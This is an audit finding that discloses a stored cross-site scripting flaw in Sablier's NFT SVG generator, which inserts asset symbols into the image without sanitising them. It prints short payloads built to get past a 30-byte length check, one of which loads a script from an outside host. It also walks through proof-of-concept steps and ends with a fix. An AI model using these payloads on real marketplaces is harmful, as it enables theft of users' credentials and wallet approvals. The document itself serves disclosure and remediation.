Summary

Insufficient input validation on SablierV2NFTDescriptor::safeAssetSymbol allows an attacker to obtain stored XSS (Cross Site Scripting) on all websites loading Sablier NFTs via a malicious generated SVG image.

Vulnerability Details

The SablierV2NFTDescriptor contract is responsible for generating NFTs for users. Each symbol viewed on every NFT is fetched directly from the asset contract using the safeAssetSymbol function as described below:

This function returns the inputted symbol as is if the following conditions are fulfilled:

• The symbol has a length of over 64, i.e. a non-empty string

• The length of the symbol in bytes is not bigger than 30.

Once the symbol is returned, it's inserted directly to the SVG text as depicted in the function generateFloatingText, which will be rendered directly in the frontend of any website that supports or trades Sablier's NFTs.

The possibility to inject javascript code to the SVG text has been reported in the previous audit, Section 3.2.1. The protocol team has fixed the issue by adding a length check making sure that no asset symbol string with size bigger than 30 bytes can be added to the SVG text.

However, it's possible to bypass the length check above using one of the following symbol strings:

• <img src/onerror=alert(1)> (26 bytes)

• <svg/onload=alert("xss")> (25 bytes)

This will produce a reflected XSS on all websites that load the malicious SVG image. The consequence can be harmful for the protocol's image but not entirely critical for the end user as it only shows an annoying pop up.

Taking a further deep dive, we're able to obtain a stored XSS by including external scripts inside the generated SVG text using the following payload: <script href=//15.rs></script>, which has exactly 30 bytes in length. This payload is not only able to bypass the length check but also to give the attacker all possibilities to extract user's confidential information on multiple NFT marketplaces that support Sablier streams, such as Opensea or Etherscan.

Impact

If an attacker creates an asset with a symbol containing the malicious javascript payload above, he could get a stored XSS on all websites that render his malicious NFT SVG image, which is legitimately generated by Sablier. This could allow the attacker for example, to run a keylogger script to collect all inputs typed by a user including his password or to create a fake Metamask pop up asking a user to sign a malicious transaction.

Tools Used

Manual review.

Proof of Concept

We'll demonstrate below how an attacker can use a malicious SVG image generated by SablierV2NFTDescriptor contract to obtain a stored XSS on a website loading the malicious image.

• Step 1: Generate the malicious SVG text while providing the malicious asset symbol: <script href=//15.rs></script>

1a. The following test case can be added to the file safeAssetSymbol.t.sol to prove that the used malicious symbol passes the length check.

1b. The second test case can be appended to NFTDescriptor.t.sol proving that a legitimate SVG text is generated for the attacker while providing the malicious asset symbol.

Run the two tests successfully using forge test --mt test_SafeAssetSymbol_MaliciousSymbolPassed and forge test --mt test_GenerateSVG_Malicious inside the v2-core folder.

• Step 2: Take the SVG text from the test test_GenerateSVG_Malicious above and put it inside a file called index.html as below.

• Step 3: Open the file using any browser, we'll see two pop ups revealing the current domain, as demonstrated here as well.

It's because the current external script hosted on 15.rs only has this content alert(document.domain);. An attacker can change the content of this file to whatever he wants to extract user's cookies, local storage or to listen to all user's keystrokes as he wishes.

Recommendations

As also recommended by the previous audit, it's absolutely necessary to sanitize the user's input on the safeAssetSymbol function as the length check is not enough. The asset symbol should only contain Aa-Zz and 0-9 characters while forbidding special ones, i.e. < / >.